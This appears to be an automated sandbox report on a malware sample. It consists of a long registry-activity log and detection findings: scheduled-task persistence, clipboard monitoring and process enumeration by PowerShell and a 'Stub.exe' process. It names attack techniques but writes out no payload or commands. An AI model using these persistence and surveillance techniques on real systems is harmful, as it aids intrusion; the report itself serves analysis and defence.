Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\7acf87e0-5a42-49e1- = "0"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8082ca19-d2cb-46ea- = "8324"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\7ff0f9a1-ed49-4c99- = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\WinPos1280x720x96(1).left = "496"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c6598534-9789-4986- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000000c59a6e52220db010c59a6e52220db010c59a6e52220db01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000505960bb2000626164663763343366353831323238363062616132376264386565346230316366353866393863663135353563313534333033633633633464333964323538360000b20009000400efbe505960bb505960bb2e00000000000000000000000000000000000000000000000000f4e08200620061006400660037006300340033006600350038003100320032003800360030006200610061003200370062006400380065006500340062003000310063006600350038006600390038006300660031003500350035006300310035003400330030003300630036003300630034006400330039006400320035003800360000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000f78cdf3f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62616466376334336635383132323836306261613237626438656534623031636635386639386366313535356331353433303363363363346433396432353836000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006b626b776765626b000000000000000038f5ff7f6815af488ec1ee4e1e110c3215c7f3b69384ef11bdbffe5a08828e7938f5ff7f6815af488ec1ee4e1e110c3215c7f3b69384ef11bdbffe5a08828e79ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003000340035003500320031003100320032002d003500390030003200390034003400320033002d0033003400360035003600380030003200370034002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000f59c2d61000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\09bcf104-a470-419d-	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3daa07ef-4fe4-4039- = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000096d09ce52220db0196d09ce52220db0196d09ce52220db01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000505960bb2000373139373265326234663735613836373336633633616531326331363133623766383436383533396234346336386634366533613030616465616566373963320000b20009000400efbe505960bb505960bb2e000000000000000000000000000000000000000000000000006a698c00370031003900370032006500320062003400660037003500610038003600370033003600630036003300610065003100320063003100360031003300620037006600380034003600380035003300390062003400340063003600380066003400360065003300610030003000610064006500610065006600370039006300320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000f78cdf3f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37313937326532623466373561383637333663363361653132633136313362376638343638353339623434633638663436653361303061646561656637396332000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006b626b776765626b000000000000000038f5ff7f6815af488ec1ee4e1e110c3214c7f3b69384ef11bdbffe5a08828e7938f5ff7f6815af488ec1ee4e1e110c3214c7f3b69384ef11bdbffe5a08828e79ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003000340035003500320031003100320032002d003500390030003200390034003400320033002d0033003400360035003600380030003200370034002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000f59c2d61000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\ShowCmd = "1"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1ee38cd8-0191-4302- = 799e9ae52220db01	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8082ca19-d2cb-46ea- = "\\\\?\\Volume{612D9CF5-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\e84e3ab289136df4d54a35d331be9360cfe10ad4b53a4bdcdf2d2e1e31716c9e"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6b0f9acd-145e-493f- = "0"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\557f66a5-7ce5-4c71- = e80788e72220db01	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\557f66a5-7ce5-4c71- = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\7acf87e0-5a42-49e1-	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\7acf87e0-5a42-49e1- = "8324"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\557f66a5-7ce5-4c71- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000a7ef1be62220db018cdb5de72220db018cdb5de72220db0173360a000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000505960bb2000363237353730373636653633326364376266336335323834666366656339336665643035636361376636353438616661663866653137333434343963613066300000b20009000400efbe505960bb505960bb2e000000000000000000000000000000000000000000000000003fe0a100360032003700350037003000370036003600650036003300320063006400370062006600330063003500320038003400660063006600650063003900330066006500640030003500630063006100370066003600350034003800610066006100660038006600650031003700330034003400340039006300610030006600300000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000f78cdf3f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c36323735373037363665363332636437626633633532383466636665633933666564303563636137663635343861666166386665313733343434396361306630000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006b626b776765626b000000000000000038f5ff7f6815af488ec1ee4e1e110c321cc7f3b69384ef11bdbffe5a08828e7938f5ff7f6815af488ec1ee4e1e110c321cc7f3b69384ef11bdbffe5a08828e79ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003000340035003500320031003100320032002d003500390030003200390034003400320033002d0033003400360035003600380030003200370034002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000f59c2d61000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	7zFM.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\NodeSlot = "4"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\574ac9fa-e959-4bf7-	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\windows.immersivecontrolpanel_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3daa07ef-4fe4-4039- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6b0f9acd-145e-493f- = "\\\\?\\Volume{612D9CF5-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\c7a381cfdb72a55d85fa6baa75699899a1a2313970b1ac430bc05b0fc59def99"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "4294967295"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8082ca19-d2cb-46ea- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\HotKey = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3daa07ef-4fe4-4039- = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\574ac9fa-e959-4bf7- = b8ab14e72220db01	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	taskmgr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0 = 56003100000000004759a74d100057696e646f777300400009000400efbe874f7748505947bb2e00000000060000000001000000000000000000000000000000c4170b01570069006e0064006f0077007300000016000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1ee38cd8-0191-4302- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000005de590e52220db015de590e52220db015de590e52220db01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000505960bb2000376638653530333562353863666131653135653162313234623133326130386234343730643166316663376363613533386332396361646335303036633638370000b20009000400efbe505960bb505960bb2e00000000000000000000000000000000000000000000000000a3549800370066003800650035003000330035006200350038006300660061003100650031003500650031006200310032003400620031003300320061003000380062003400340037003000640031006600310066006300370063006300610035003300380063003200390063006100640063003500300030003600630036003800370000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000f78cdf3f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37663865353033356235386366613165313565316231323462313332613038623434373064316631666337636361353338633239636164633530303663363837000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006b626b776765626b000000000000000038f5ff7f6815af488ec1ee4e1e110c3213c7f3b69384ef11bdbffe5a08828e7938f5ff7f6815af488ec1ee4e1e110c3213c7f3b69384ef11bdbffe5a08828e79ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003000340035003500320031003100320032002d003500390030003200390034003400320033002d0033003400360035003600380030003200370034002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000f59c2d61000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2f2d01bc-bbd6-4a56- = "\\\\?\\Volume{612D9CF5-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\c7a381cfdb72a55d85fa6baa75699899a1a2313970b1ac430bc05b0fc59def99"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\7ff0f9a1-ed49-4c99- = df0594e92220db01	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders	Explorer.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

SCHTASKS.exeSCHTASKS.exe

pid process

1404 SCHTASKS.exe
1320 SCHTASKS.exe
Suspicious behavior: AddClipboardFormatListener 3 IoCs

Processes:

Explorer.EXE

pid process

3432 Explorer.EXE
3432 Explorer.EXE
3432 Explorer.EXE

pid	process
1404	SCHTASKS.exe
1320	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeStub.exedllhost.exepowershell.exepowershell.exe

pid	process
2924	powershell.exe
2924	powershell.exe
2924	powershell.exe
1944	Stub.exe
1944	Stub.exe
1332	dllhost.exe
1332	dllhost.exe
1420	powershell.exe
1420	powershell.exe
1332	dllhost.exe
1332	dllhost.exe
1420	powershell.exe
1332	dllhost.exe
1332	dllhost.exe
1420	powershell.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
1332	dllhost.exe
